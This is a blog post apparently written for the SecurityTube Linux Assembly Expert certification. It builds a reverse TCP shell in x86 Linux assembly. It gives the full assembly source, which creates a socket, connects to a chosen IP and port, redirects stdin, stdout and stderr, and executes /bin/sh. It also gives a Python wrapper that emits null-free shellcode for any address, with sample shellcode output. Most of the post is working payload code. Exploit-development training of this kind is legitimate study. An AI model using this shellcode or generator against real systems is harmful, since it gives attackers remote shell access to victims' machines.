SLAE 2: Creating a reverse TCP shell in x86 Assembly
Programming / January 21, 2020 • 7 min read
Tags: slae shellcoding
What is a reverse TCP shell?
A reverse TCP shell is a program that instead of listening for incoming connections, the program will connect to a remote system and provide a local shell. This is useful in situations where the victim system is behind NAT, meaning you can’t directly connect to it, instead the server will connect to you. For this reason, reverse TCP shells are usually prefered over bind shells.
Okey let’s do this, leeeerooooyyy jeeeeeenkins
Our previous article followed these steps to create a bind shell:
- Create a socket
- Bind the socket
- Listen for connections
- Accept new connections
- Execute shell
This program will only need the following steps:
- Create a socket
- Connect to remote system
- Execute shell
As can be seen, the reverse shell requires less steps and less code in order to function. For this assignment, I did not create a reference program in C, because most of the code was borrowed from our previous bind shell article. The only new code section in this assignment is the connect() function.
1global _start
2
3section .text
4
5_start:
6
7 ; zero out registers
8 xor eax, eax
9 xor ebx, ebx
10 xor edx, edx
11
12 ; -------------------------------------
13 ; # Setup socket
14
15 ; socketcall()
16 mov al, 0x66 ; __NR_socketcall 102
17 mov bl, 0x1 ; SYS_SOCKET
18
19 ; # Setup socket
20 ; Resulting file descriptor is saved to eax
21 push edx
22 push 0x1
23 push 0x2
24 mov ecx, esp ; Arguments are located top of the stack
25 int 0x80 ; Tell the kernel it's time to boogie
26 mov edi, eax ; $eax contains the file descriptor created by socket(), store it in $edi for now
After setting up the socketcall wrapper to call connect(), we need to setup the necessary arguments for connect()
:
1 ; ---------------------------------
2 ; # Setup connect
3 ; socketcall
4 mov al, 0x66 ; socketcall()
5 mov bl, 0x3 ; SYS_CONNECT
6
7 ; setup sockaddr struct
8 push 0xfeffff80 ; 1.0.0.127
9 xor dword [esp], 0xffffffff ; xor IP with key 0xff to get real ip
10
11 push word 0x3905 ; htons(1337)
12 push word 0x2 ; AF_INET
13
14 mov ecx, esp ; Store the address that points to our struct
15
16 ; Push the arguments for connect()
17 push 0x10 ; Length of __SOCK_SIZE__ which is 16 (0x10 in hex)
18 push ecx ; Points to our sockaddr_in struct
19 push edi ; Contains our file descriptor
20
21 mov ecx, esp ; Second parameter for socketcall, points to arguments required by connect()
22 int 0x80 ; Tell the kernel let's go!
The connect() code section is very similar to the setup needed for listen(), which can be seen in the previous bind shell article. The difference here is that we are specifying an IP to connect to. In order to avoid null bytes, the IP address is XORed with 0xffffffff
. This solution is not bulletproof, because if an IP would contain a 0xFF
, the result of the XOR operation would be 0x00
.
Now we use dup2()
to set STDIN, STDOUT, STDERR to our file descriptor, and execute /bin/sh
. This will expose a local shell to the connected socket, thereby acheiving a remote TCP shell.
1redirect:
2 ; --------------------
3 ; # Setup dup2
4 ; redirect to stdin
5 mov al, 0x3f ; syscall number dup2 63 --> 0x3f
6 mov ebx, edi ; peer's file descriptor
7 mov ecx, edx ; STDIN
8 int 0x80
9
10 ; redirect to stdout
11 mov al, 0x3f
12 mov cl, 0x1 ; STDOUT
13 int 0x80
14
15 ; redirect to stderr
16 mov al, 0x3f
17 mov cl, 0x2 ; STDERR
18 int 0x80
19
20shell:
21 ; --------------------
22 ; # Setup execv
23 xor edx, edx
24 push edx
25
26 ; push //bin/sh onto the stack
27 push 0x68732f6e
28 push 0x69622f2f
29
30 ; Set address of esp to ebx, which points
31 ; to //bin/sh
32 mov ebx, esp
33
34 xor ecx, ecx
35 xor eax, eax
36 mov al, 0xb ; execv syscall
37 int 0x80
Final code:
1;---------------------------------
2;
3; Author: dubs3c
4;
5; Purpose:
6; Reverse TCP shell connect
7;
8;----------------------------------
9
10global _start
11
12section .text
13
14_start:
15
16 ; zero out registers
17 xor eax, eax
18 xor ebx, ebx
19 xor edx, edx
20
21 ; -------------------------------------
22 ; # Setup socket
23
24 ; socketcall()
25 mov al, 0x66 ; __NR_socketcall 102
26 mov bl, 0x1 ; SYS_SOCKET
27
28 ; # Setup socket
29 ; Resulting file descriptor is saved to eax
30 push edx
31 push 0x1
32 push 0x2
33 mov ecx, esp ; Arguments are located top of the stack
34 int 0x80 ; Tell the kernel it's time to boogie
35 mov edi, eax ; $eax contains the file descriptor created by socket(), store it in $edi for now
36
37 ; ---------------------------------
38 ; # Setup connect
39 ; socketcall
40 mov al, 0x66 ; socketcall()
41 mov bl, 0x3 ; SYS_CONNECT
42
43 ; setup sockaddr struct
44 push 0xfeffff80 ; 1.0.0.127
45 xor dword [esp], 0xffffffff ; xor IP with key 0xff to get real ip
46
47 push word 0x3905 ; htons(1337)
48 push word 0x2 ; AF_INET
49
50 mov ecx, esp ; Store the address that points to our struct
51
52 ; Push the arguments for connect()
53 push 0x10 ; Length of __SOCK_SIZE__ which is 16 (0x10 in hex)
54 push ecx ; Points to our sockaddr_in struct
55 push edi ; Contains our file descriptor
56
57 mov ecx, esp ; Second parameter for socketcall, points to arguments required by connect()
58 int 0x80 ; Tell the kernel let's go!
59
60 ; --------------------
61 ; # Setup dup2
62 ; redirect to stdin
63 mov al, 0x3f ; syscall number dup2 63 --> 0x3f
64 mov ebx, edi ; peer's file descriptor
65 mov ecx, edx ; STDIN
66 int 0x80
67
68 ; redirect to stdout
69 mov al, 0x3f
70 mov cl, 0x1 ; STDOUT
71 int 0x80
72
73 ; redirect to stderr
74 mov al, 0x3f
75 mov cl, 0x2 ; STDERR
76 int 0x80
77
78 ; --------------------
79 ; # Setup execv
80 xor edx, edx
81 push edx
82
83 ; push //bin/sh onto the stack
84 push 0x68732f6e
85 push 0x69622f2f
86
87 ; Set address of esp to ebx, which points
88 ; to //bin/sh
89 mov ebx, esp
90
91 xor ecx, ecx
92 xor eax, eax
93 mov al, 0xb ; execv syscall
94 int 0x80
95
96 ; -----------------------------
97 ; THE END - HAVE A NICE SHELL |
98 ; -----------------------------
Making the address and port configurable
Right now the port 1337
and IP 127.0.0.1
is hardcoded, let’s make a wrapper script in python which allows for setting a custom port and IP.
1#!/usr/bin/env python3
2
3import sys
4
5def main(ip, port):
6 # one liner to convert e.g 127.0.0.1 to \x80\xff\xff\xfe XORed with key 0xff
7 # This is to avoid null bytes. However, a null byte can be introduced if one octet is 0xff
8 hex_ip = "".join([hex(int(octet)^255).replace("0x","\\x") for octet in ip.split(".")])
9 str_port = hex(port).replace('0x','').zfill(4)
10
11 shellcode = r"\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68{ip}\x83\x34\x24\xff\x66\x68{port}\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1 \x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80"
12
13 hex_port = "\\x{}\\x{}".format(str_port[:2], str_port[2:])
14
15 if "\\x00" in hex_port:
16 print("[-] Sorry, null byte found in that port, chose another port.")
17 print("[-] Ports between 1-256 will always contain a null byte.")
18 print("[-] Port: {}".format(hex_port))
19 sys.exit(1)
20
21 if "\\x00" in hex_ip or "\\x0" in hex_ip:
22 print("[-] Sorry, a null byte was found in the XORed value, this is the end for you...")
23 print("[-] Value: {}".format(hex_ip))
24 sys.exit(1)
25
26 shellcode = shellcode.replace("{port}", hex_port)
27 shellcode = shellcode.replace("{ip}", hex_ip)
28 print("[+] Reverse TCP shell connecting to {ip}:{port}".format(ip=ip, port=port))
29 print("[+] Your Shellcode:")
30 print(shellcode)
31
32
33if __name__ == "__main__":
34 if len(sys.argv) < 3:
35 print("Usage: python3 wrapper.py <ip> <port>")
36 sys.exit(0)
37
38 if int(sys.argv[2]) < 1024:
39 print("[!] Warning: Ports < 1024 must be run as a root")
40
41 if len(sys.argv) == 3:
42 if (int(sys.argv[2]) > 65535):
43 print("[-] Port too large")
44 sys.exit(1)
45 main(sys.argv[1], int(sys.argv[2]))
Running the script yields:
dubs3c@slae:~/SLAE/EXAM/github/assignment_2$ python wrapper.py 192.168.0.48 1338
[+] Reverse TCP shell connecting to 192.168.0.48:1338
[+] Your Shellcode:
\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68\x3f\x57\xff\xcf\x83\x34\x24\xff\x66\x68\x05\x3a\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80
Screenshot showing the TCP reverse shell in action!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-1490